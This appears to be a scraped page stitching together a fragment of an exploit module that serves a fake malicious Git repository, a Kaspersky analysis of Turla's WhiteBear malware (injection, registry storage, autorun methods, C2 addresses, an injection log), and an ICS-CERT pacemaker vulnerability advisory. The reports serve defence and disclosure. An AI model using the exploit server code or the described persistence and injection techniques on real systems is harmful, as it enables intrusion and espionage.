print_status(“Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}”)
end

# handles routing any request to the mock git, mercurial or simple HTML as necessary
def on_request_uri(cli, req)
# if the URI is one of our repositories and the user-agent is that of git/mercurial
# send back the appropriate data, otherwise just show the HTML version
user_agent = req.headers[‘User-Agent’]
if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
do_git(cli, req)
return
end

do_html(cli, req)
end

# simulates a Git HTTP server
def do_git(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, ”)
if @repo_data[:git][:files].key?(req_file)
vprint_status(“Sending Git #{req_file}”)
send_response(cli, @repo_data[:git][:files][req_file])
else
vprint_status(“Git #{req_file} doesn’t exist”)
send_not_found(cli)
end
end

# simulates an HTTP server with simple HTML content that lists the fake
# repositories available for cloning
def do_html(cli, _req)
resp = create_response
resp.body = <<HTML
<html>
<head><title>Public Repositories</title></head>
<body>
<p>Here are our public repositories:</p>
<ul>
HTML
this_git_uri = URI.parse(get_uri).merge(git_uri)
resp.body << “<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>”
resp.body << <<HTML
</ul>
</body>
</html>
HTML

cli.send_response(resp)
end

# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
def git_uri
return @git_uri if @git_uri
if datastore[‘GIT_URI’].blank?
@git_uri = ‘/’ + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + ‘.git’
else
@git_uri = datastore[‘GIT_URI’]
end
end
end

Introducing WhiteBear

As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity.

From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.

The exact delivery vector for WhiteBear components is unknown to us, although we have very strong suspicion the group spearphished targets with malicious pdf files. The decoy pdf document above was likely stolen from a target or partner. And, although WhiteBear components have been consistently identified on a subset of systems previously targeted with the WhiteAtlas framework, and maintain components within the same filepaths and can maintain identical filenames, we were unable to firmly tie delivery to any specific WhiteAtlas component. WhiteBear focused on various embassies and diplomatic entities around the world in early 2016 – tellingly, attempts were made to drop and display decoy pdf’s with full diplomatic headers and content alongside executable droppers on target systems.

Technical Details

The WhiteBear platform implements an elaborate set of messaging and injection components to support full presence on victim hosts. A diagram helps to visualize the reach of injected components on the system.

WhiteBear Binary loader

Sample MD5: b099b82acb860d9a9a571515024b35f0
Type PE EXE
Compilation timestamp 2002.02.05 17:36:10 (GMT)
Linker version 10.0 (MSVC 2010)
Signature “Solid Loop Ldt” UTCTime 15/10/2015 00:00:00 GMT – UTCTime 14/10/2016 23:59:59 GMT

The WhiteBear binary loader maintains several features including two injection methods for its (oddly named) “KernelInjector” subsystem, also named by its developer
– Standart
– WindowInject (includes an unusual technique for remotely placing code into memory for subsequent thread execution)

The loader also maintains two methods for privilege and DEP process protection handling:
– GETSID_METHOD_1
– GETSID_METHOD_2

The binary contains two resources:
– BINARY 201
– File size: 128 bytes
– Contains the string, “explorer.exe”
– BINARY 202
– File size: 403456 bytes
– File Type: PE file (this is the actual payload and is not encrypted)
– This PE file resource stores the “main orchestrator” .dll file

Loader runtime flow

The loader creates the mutex “{531511FA-190D-5D85-8A4A-279F2F592CC7}”, and waits up to two minutes if it is already present while logging the message “IsLoaderAlreadyWork +”. The loader creates the mutex “{531511FA-190D-5D85-8A4A-279F2F592CC7}”, and waits up to two minutes. If it is already present while logging the message “IsLoaderAlreadyWork +”, it extracts the resource BINARY 201. This resource contains a wide string name of processes to inject into (i.e. “explorer.exe”).

The loader makes a pipe named: \\.\pipe\Winsock2\CatalogChangeListener-%03x%01x-%01x

Where the “%x” parameter is replaced with the values 0xFFFFFFFF 0xEEEEEEEE 0xDDDDDDDD, or if it has successfully obtained the user’s SID:
\\.\pipe\Winsock2\CatalogChangeListener-%02x%02x-%01x
With “%x” parameters replaced with numbers calculated from the current date and a munged user SID.

The pipe is used to communicate with the target process and the transport module; the running code also reads its own image body and writes it to the pipe. The loader then obtains the payload body from resource BINARY 202. It finds the running process that matches the target name, copies the buffer containing the payload into the process, then starts its copy in the target process.

There are some interesting, juvenile, and non-native English-speaker debug messages compiled into the code:
– i cunt waiting anymore #%d
– lights aint turnt off with #%d
– Not find process
– CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER
– CMessageProcessingSystem::Receive_TAKE_LAST_CONNECTION
– CMessageProcessingSystem::Send_TAKE_FIN

WhiteBear Main module/orchestrator

Sample MD5: 06bd89448a10aa5c2f4ca46b4709a879
Type, size: PE DLL, 394 kb
Compilation timestamp: 2002.02.05 17:31:28 (GMT)
Linker version: 10.0 (MSVC 2010)
Unsigned Code

The main module has no exports, only a DllMain entry which spawns one thread and returns. The main module maintains multiple BINARY resources that include executable, configurations, and encryption data:

101 – RSA private (!) key
102 – RSA public key
103 – empty
104 – 16 encrypted bytes
105 – location (“%HOMEPATH%\ntuser.dat.LOG3”)
106 – process names (e.g. “iexplore.exe, firefox.exe, chrome.exe, outlook.exe, safari.exe, opera.exe”) to inject into
107 – Transport module for interaction with C&C
108 – C2 configuration
109 – Registry location (“\HKCU\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Explorer\Screen Saver”)
110 – no information
111 – 8 zero bytes

Values 104 – 111 are encrypted with the RSA private key (resource 101) and compressed with bzip2.4. The RSA key is stored with header stripped in a format similar to Microsoft’s PVK; the RSA PRIVATE KEY header is appended by the loader before reading the keys into the encryption code. Resource 109 points to a registry location called “external storage”, built-in resources are called “PE Storage”.

In addition to storing code, crypto resources, and configuration data in PE resources, WhiteBear copies much of this data to the victim host’s registry. Registry storage is located in the following keys. Subkeys and stored values listed below:
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver]
[HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver]

Registry subkeys:
{629336E3-58D6-633B-5182-576588CF702A} Contains the RSA private key used to encrypt/decrypt other resources / resource 101
{3CDC155D-398A-646E-1021-23047D9B4366} Resource 105 – current file location
{81A03BF8-60AA-4A56-253C-449121D61CAF} Resource 106 – process names
{31AC34A1-2DE2-36AC-1F6E-86F43772841F} Contains the internet C&C transport module / resource 107
{8E9810C5-3014-4678-27EE-3B7A7AC346AF} Resource 108 – C&C config
{28E74BDA-4327-31B0-17B9-56A66A818C1D} Resource 110 “plugins”
{4A3130BD-2608-730F-31A7-86D16CE66100} Resource 111
{119D263D-68FC-1942-3CA3-46B23FA652A0} Unique Guid (“ObjectID”)
{1DC12691-2B24-2265-435D-735D3B118A70} “Task Queue”
{6CEE6FE1-10A2-4C33-7E7F-855A51733C77} “Result Queue”
{56594FEA-5774-746D-4496-6361266C40D0}  unknown
{831511FA-190D-5D85-8A4A-279F2F592CC7}  unknown

Finally, if the main WhiteBear module fails to use registry storage, it uses “FS Storage” in file %TEMP%\KB943729.log. The module reads all of its data and binary components from one of the storages and then verifies the integrity of data (RSA+bzip2 compression+signature).

The module maintains functionality which is divided into a set of subsystems that are loosely named by the developers:
• result queue
• task queue
• message processing system
• autorun manager
• execution subsystem
• inject manager
• PEStorage
• local transport manager/internal transport channel

It creates the following temporary files:
%TEMP%\CVRG72B5.tmp.cvr
%TEMP%\CVRG1A6B.tmp.cvr
%TEMP%\CVRG38D9.tmp.cvr

%TEMP%\~DF1E05.tmp contains the updated body of the loader during an update.

Every day (as specified by local time) the main module restarts the transport subsystem which includes:
• message processing
• named pipe transport (“NPTransport”)

If the registry/file storage is empty, the module performs a ‘migration’ of hardcoded modules and settings to the storage location. This data is encrypted with a new RSA key (which is also stored in the registry).

The data in the registry is prepended with a 0xC byte header. The maximum size of each registry item is 921,600 bytes; if the maximum size is exceeded, it is split into several items. The format of the header is shown below:
[4:service DWORD][4:chunk index][4:chunk size including header]

Every time the orchestrator module is loaded it validates that the storage area contains the appropriate data and that all of the components can be decrypted and validated. If these checks fail the module reinstalls a configuration from the resource “REINSTALL”.

Pipe Transport

The module generates the pipe name (with the same prefix as the loader); waits for incoming connections; receives data and pushes it to the ‘message processing system’. The module generates the pipe name (with the same prefix as the loader); waits for incoming connections; receives data and pushes it to the ‘message processing system’. Every packet is expected to be at least 6 bytes and contain the following header:      [4:ID][2:command]

List of commands:
1 : new task
2 : update the loader + orchestrator file
4 : send task result
5 : send settings
6 : write results to registry/file storage
7 : enable / disable c2 transport / update status
8 : uninstall
9 : nop
10 : “CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER”; write results to registry
11: write the last connection data ‘{56594FEA-5774-746D-4496-6361266C40D0}’ aka “last connection” storage value
12: “give cache” – write cached commands from the C&C
13: “take cache” – append C&C commands to the cache

Depending on the command, the module returns the results from previously run tasks, the configuration of the module, or a confirmation message.

An example of these tasks is shown below:
• write a file and execute it with CreateProcess() capturing all of the standard output
• update C&C configuration, plugin storage, etc
• update autoruns
• write arbitrary files to the filesystem (“File Upload”)
• read arbitrary files from the filesystem (“File Download”)
• update itself
• uninstall
• push task results to C2 servers

The “LocalTransport manager” handles named pipe communication and identifies if the packet received is designated to the current instance or to someone else (down the route). In the latter scenario the LocalTansport manager re-encrypts the packet, serializes it (again), and pushes the packet via a named pipe on the local network to another hop, (NullSessionPipes). This effectively makes each infected node a packet router.

The Autorun manager subsystem is responsible for tracking the way that the malicious module starts in the system and it maintains several different methods for starting automatically (shown below):
LinkAutorun The subsystem searches for a LNK file in the target directory, changes the path to “cmd.exe” and the description to ‘ /q /c start “” “%s” && start “” “%s” ‘
TaskScheduler20Autorun The subsystem creates the ITaskService (works only on Windows Vista+) and uses the ITaskService interface to create a new task with a logon trigger
StartupAutorun The subsystem creates a LNK file in %STARTUP%
ScreenSaverAutorun The subsystem installs as a current screensaver with a hidden window
HiddenTaskAutorun The subsystem creates the task ITaskScheduler (works only on pre-Vista NT). The task trigger start date is set to the creation date of the Windows directory
ShellAutorun Winlogon registry [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] Shell=”explorer.exe, …”

File Uninstallation is done in a discreet manner. The file is filled with zeroes, then renamed to a temporary filename before being deleted

WhiteBear Transport library (aka “Internet Relations”, “Pipe Relations”)

Sample MD5: 19ce5c912768958aa3ee7bc19b2b032c
Type: PE DLL
Linker timestamp: 2002.02.05 17:58:22 (GMT)
Linker version: 10.0
Signature “Solid Loop Ldt” UTCTime 15/10/2015 00:00:00 GMT – UTCTime 14/10/2016 23:59:59 GMT

This transport library does not appear on disk in its PE format. It is maintained as encrypted resource 107 in the orchestrator module, then decrypted and loaded by the orchestrator directly into the memory of the target process. This C2 interaction module is independent, once started, it interacts with the orchestrator using its local named pipe.

To communicate with its C2 server, the transport library uses the system user agent or default “Mozilla/4.0 (compatible; MSIE 6.0)”.

Before attempting a connection with its configured C2 server, the module checks if the victim system is connected to Internet by sending HTTP 1.1 GET / requests to the following servers (this process stops after the first successful connection):
• update.microsoft.com
• microsoft.com
• windowsupdate.microsoft.com
• yahoo.com
• google.com

If there is no Internet connection available, the module changes state to, “CANNOT_WORK” and notifies the peer by sending command “7” over the local pipe.

The C2 configuration is obtained from the main module with the command “5”. This checks whether the module complies with the schedule specified in the C2 settings (which includes inactivity time and the interval between connections). The C2 interaction stages have interesting function names and an odd misspelling, indicating that the developer may not be a native English speaker (or may have learned the English language in a British setting):
“InternetRelations::GetInetConnectToGazer”
“InternetRelations::ReceiveMessageFromCentre”
“InternetRelations::SendMessageToCentre”
“PipeRelations::CommunicationTpansportPipe”

The module writes the encrypted log to %TEMP%\CVRG38D9.tmp.cvr The module sends a HTTP 1.0 GET request through a randomly generated path to the C2 server. The server’s reply is expected to have its MD5 checksum appended to the packet. If C2 interaction fails, the module sends the command “10” (“NO_CONNECT_TO_GAYZER”) to the orchestrator.

Unusual WhiteBear Encryption

The encryption implemented in the WhiteBear orchestrator is particularly interesting. We note that the resource section is encrypted/decrypted and packed/decompressed with RSA+3DES+BZIP2. This implementation is unique and includes the format of the private key as stored in the resource section. 3DES is present in Sofacy and Duqu2 components, however they are missing in this Microsoft-centric RSA encryption technique. The private key format used in this schema and RSA crypto combination with 3DES is (currently) unique to this threat actor.

The private key itself is stored as a raw binary blob, in a format similar to the one Microsoft code uses in PVK format. This format is not officially documented, but its structures and handling are coded into OpenSSL. This private key value is stored in the orchestrator resources without valid headers. The orchestrator code prepends valid headers and passes the results to OpenSSL functions that parse the blob.

Digital Code-Signing Certificate – Fictional Corporation or Assumed Identity?

Most WhiteBear samples are signed with a valid code signing certificate issued for “Solid Loop Ltd”, a once-registered British organization. Solid Loop is likely a phony front organization or a defunct organization and actors assumed its identity to abuse the name and trust, in order to attain deceptive code-signing digital certificates.

WhiteBear Command and Control

The WhiteBear C2 servers are consistent with long standing Turla infrastructure management practices, so the backdoors callback to a mix of compromised servers and hijacked destination satellite IP hosts. For example, direct, hardcoded Turla satellite IP C2 addresses are shown below:

C2 IP Address               Geolocation                            IP Space Owner
169.255.137[.]203         South Sudan                           IPTEC, VSAT
217.171.86[.]137           Congo                                     Global Broadband Solution, Kinshasa VSAT
66.178.107[.]140           Unknown – Likely Africa          SES/New Skies Satellites

Targeting and Victims

WhiteBear targets over the course of a couple years are related to government foreign affairs, international organizations, and later, defense organizations. The geolocation of the incidents are below:

  • Europe
  • South Asia
  • Central Asia
  • East Asia
  • South America

Conclusions

WhiteBear activity reliant on this toolset seems to have diminished in June 2017. But Turla efforts continue to be run as multiple subgroups and campaigns. This one started targeting diplomatic entities and later included defense related organizations. Infrastructure overlap with other Turla campaigns, code artifacts, and targeting are consistent with past Turla efforts. With this subset of 2016-2017 WhiteBear activity, Turla continues to be one of the most prolific, longstanding, and advanced APT we have researched, and continues to be the subject of much of our research. Links to publicly reported research are below.

Reference Set

Full IOC and powerful YARA rules delivered with private report subscription

Md5
b099b82acb860d9a9a571515024b35f0
19ce5c912768958aa3ee7bc19b2b032c
06bd89448a10aa5c2f4ca46b4709a879

IP
169.255.137[.]203
217.171.86[.]137
66.178.107[.]140

Domain(s)
soligro[.]com – interesting because the domain is used in another Turla operation (KopiLuwak), and is the C2 server for the WhiteBear transport library
mydreamhoroscope[.]com

Example log upon successful injection

|01:58:10:216|.[0208|WinMain ]..
|01:58:14:982|.[0209|WinMain ].******************************************************************************************
|01:58:15:826|.[0212|WinMain ].DATE: 01.01.2017
|01:58:21:716|.[0215|WinMain ].PID=2344.TID=1433.Heaps=3
|01:58:22:701|.[0238|WinMain ].CreateMutex = {521555FA-170C-4AA7-8B2D-159C2F491AA4}
|01:58:25:513|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_
|01:58:26:388|.[0425|GetUserSidByName ].22 15 1284404594 111
|01:58:27:404|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000
|01:58:28:263|.[0471|GetUserSidByName ].
|01:58:29:060|.[0165|GeneratePipeName ].\\.\pipe\Winsock2\CatalogChangeListener-5623-b
|01:58:29:763|.[0275|WinMain ].PipeName = \\.\pipe\Winsock2\CatalogChangeListener-5623-b
|01:58:30:701|.[0277|WinMain ].Checking for existence…
|01:58:31:419|.[0308|WinMain ].— Pipe is not installed yet
|01:58:32:044|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_
|01:58:32:841|.[0425|GetUserSidByName ].22 15 1284404594 111
|01:58:33:701|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000
|01:58:34:419|.[0471|GetUserSidByName ].
|01:58:35:201|.[0318|WinMain ].Loading…
|01:58:35:763|.[0026|KernelInjector::KernelInjector ].Address of marker: 0x0025F96C and cProcName: 0x0025F860
|01:58:36:513|.[0031|KernelInjector::KernelInjector ].Value of marker = 0xFFFFFEF4
|01:58:37:279|.[0088|KernelInjector::SetMethod ].m_bAntiDEPMethod = 1
|01:58:38:419|.[0564|QueryProcessesInformation ].OK
|01:58:41:169|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_
|01:58:42:076|.[0425|GetUserSidByName ].22 15 1284404594 111
|01:58:42:748|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000
|01:58:43:169|.[0471|GetUserSidByName ].
|01:58:43:701|.[0309|FindProcesses ].dwPID[0] = 1260
|01:58:44:560|.[0345|WinMain ].try to load dll to process (pid=1260))
|01:58:45:013|.[0088|KernelInjector::SetMethod ].m_bAntiDEPMethod = 1
|01:58:45:873|.[0094|KernelInjector::LoadDllToProcess ].MethodToUse = 1
|01:58:46:544|.[0171|KernelInjector::GetProcHandle ].pid = 1260
|01:58:47:279|.[0314|KernelInjector::CopyDllFromBuffer ].Trying to allocate space at address 0x20020000
|01:58:48:404|.[0332|KernelInjector::CopyDllFromBuffer ].IMAGEBASE = 0x20020000.ENTRYPOINT = 0x2002168B
|01:58:48:763|.[0342|KernelInjector::CopyDllFromBuffer ].ANTIDEP INJECT
|01:58:49:419|.[0345|KernelInjector::CopyDllFromBuffer ].Writing memory to target process….
|01:58:49:935|.[0353|KernelInjector::CopyDllFromBuffer ].Calling to entry point….
|01:58:51:185|.[0598|KernelInjector::CallEntryPoint ].CODE = 0x01FA0000, ENTRY = 0x2002168B, CURR = 0x77A465A5, TID = 1132
|01:58:55:544|.[0786|KernelInjector::CallEntryPoint ]._FINISH_ = 1
|01:58:56:654|.[0372|KernelInjector::CopyDllFromBuffer ].CTRLPROC = 0
|01:58:57:607|.[0375|KernelInjector::CopyDllFromBuffer ].+ INJECTED +
|01:58:58:419|.[0351|WinMain ].+++ Load in 1260

References – past Turla research

The Epic Turla Operation
Satellite Turla: APT Command and Control in the Sky
Agent.btz: a Source of Inspiration?
The ‘Penquin’ Turla
Penquin’s Moonlit Maze
KopiLuwak: A New JavaScript Payload from Turla

Uroburos: the snake rootkit [pdf]
The Snake Campaign

Abbott Laboratories’ Accent/Anthem, Accent MRI, Assurity/Allure, and Assurity MRI Pacemaker Vulnerabilities

OVERVIEW

MedSec Holdings Ltd has identified vulnerabilities in Abbott Laboratories’ (formerly St. Jude Medical) pacemakers. Abbott has produced a firmware patch to help mitigate the identified vulnerabilities in their pacemakers that utilize radio frequency (RF) communications. A third-party security research firm has verified that the new firmware version mitigates the identified vulnerabilities.

The Food and Drug Administration (FDA) released a safety communication on August 29, 2017, Firmware Update to Address Cybersecurity Vulnerabilities Identified in Abbott’s (formerly St. Jude Medical’s) Implantable Cardiac Pacemakers: FDA Safety Communication, regarding the identified vulnerabilities and corresponding mitigation. In response, ICS-CERT is releasing this advisory to provide additional detail to patients and healthcare providers.

AFFECTED PRODUCTS

The following pacemakers manufactured prior to August 28, 2017, are affected:

  • Accent/Anthem,
  • Accent MRI,
  • Assurity/Allure, and
  • Assurity MRI.

IMPACT

Successful exploitation of these vulnerabilities may allow a nearby attacker to gain unauthorized access to a pacemaker and issue commands, change settings, or otherwise interfere with the intended function of the pacemaker.

BACKGROUND

Abbott is a US-based company headquartered in Abbott Park, Illinois.

The affected pacemakers are implantable medical devices designed to deliver electrical pulses to correct a slow heartbeat or no heartbeat at all. According to Abbott, these pacemakers are deployed across the Healthcare and Public Health sector. Abbott indicates that these products are used worldwide; however, Accent and Anthem are no longer sold in the US.

VULNERABILITY CHARACTERIZATION

VULNERABILITY OVERVIEW

IMPROPER AUTHENTICATION

The pacemaker’s authentication algorithm, which involves an authentication key and time stamp, can be compromised or bypassed, which may allow a nearby attacker to issue unauthorized commands to the pacemaker via RF communications.

CVE-2017-12712 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned; the CVSS vector string is (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

IMPROPER RESTRICTION OF POWER CONSUMPTION

The pacemakers do not restrict or limit the number of correctly formatted “RF wake-up” commands that can be received, which may allow a nearby attacker to repeatedly send commands to reduce pacemaker battery life.

CVE-2017-12714 has been assigned to this vulnerability. A CVSS v3 base score of 5.3 has been assigned; the CVSS vector string is (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H).

MISSING ENCRYPTION OF SENSITIVE DATA

The Accent and Anthem pacemakers transmit unencrypted patient information via RF communications to programmers and home monitoring units. The Assurity and Allure pacemakers do not contain this vulnerability. Additionally, the Accent and Anthem pacemakers store the optional patient information without encryption; however, the Assurity and Allure pacemakers encrypt stored patient information.

CVE-2017-12716 has been assigned to this vulnerability. A CVSS v3 base score of 3.1 has been assigned; the CVSS vector string is (AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N).

VULNERABILITY DETAILS

EXPLOITABILITY

These vulnerabilities could be exploited via an adjacent network. Exploitability is dependent on an attacker being sufficiently close to the target pacemaker as to allow RF communications.

EXISTENCE OF EXPLOIT

Exploitation of vulnerabilities has been publicly demonstrated; however, exploit code is not publicly available.

DIFFICULTY

An attacker with high skill would be able to exploit these vulnerabilities.

MITIGATION

Abbott has developed a firmware update to help mitigate the identified vulnerabilities. The version numbers of the firmware update for each product family are as follows:

  • Accent/Anthem, Version F0B.0E.7E,
  • Accent MRI/Accent ST, Version F10.08.6C,
  • Assurity/Allure, Version F14.07.80, and
  • Assurity MRI, Version F17.01.49.

The pacemaker firmware update will implement “RF wake-up” protections and limit the commands that can be issued to pacemakers via RF communications. Additionally the updated pacemaker firmware will prevent unencrypted transmission of patient information (Accent and Anthem only). The firmware update can be applied to an implanted pacemaker via the Merlin PCS Programmer by a healthcare provider. It is recommended that healthcare providers discuss this update with their patients and carefully consider the potential risk of a cybersecurity attack along with the risk of performing a firmware update. Implementation of the firmware update is to be determined based on the physician’s professional judgment and patient management considerations. Pacemakers manufactured beginning August 28, 2017, will have this update preloaded on devices.

Abbott states that firmware updates should be approached with caution. Like any software update, firmware updates can cause devices to malfunction. Potential risks include loss of device settings, the device going into back-up mode, reloading of the previous firmware due to a failed upgrade, loss of diagnostic data, and a complete loss of device functionality. The Abbott Cybersecurity Medical Advisory Board has reviewed this firmware update and the associated risk of performing the update in the context of potential cybersecurity risk.

While not intended to serve as a substitute for clinician judgment as to whether the firmware update is advisable for a particular patient, the Cybersecurity Medical Advisory Board recommends the following:

  • Healthcare providers and patients should discuss the risk and benefits of the cybersecurity vulnerabilities and associated firmware update during the next regularly scheduled visit. As part of this discussion, it is important to consider patient-specific issues such as pacemaker dependence, age of device, patient preference, and provide patients with the “Patient Communication.”
  • Determine if the update is appropriate given the risk of update for the patient. If deemed appropriate, install this firmware update following the instructions provided by the manufacturer.
  • For pacing dependent patients, consider performing the cybersecurity firmware update in a facility where temporary pacing and pacemaker generator change are readily available, due to the risk of firmware update malfunction.

Patients and healthcare providers with questions can call the dedicated hotline at 1-800-722-3774 (U.S.) or visit https://www.sjm.com/cyberupdate for more information.

The FDA issued a safety communication on August 29, 2017, Firmware Update to Address Cybersecurity Vulnerabilities Identified in Abbott’s (formerly St. Jude Medical’s) Implantable Cardiac Pacemakers: FDA Safety Communication, is available at the following location:

https://www.fda.gov/MedicalDevices/Safety/AlertsandNotices/ucm573669.htm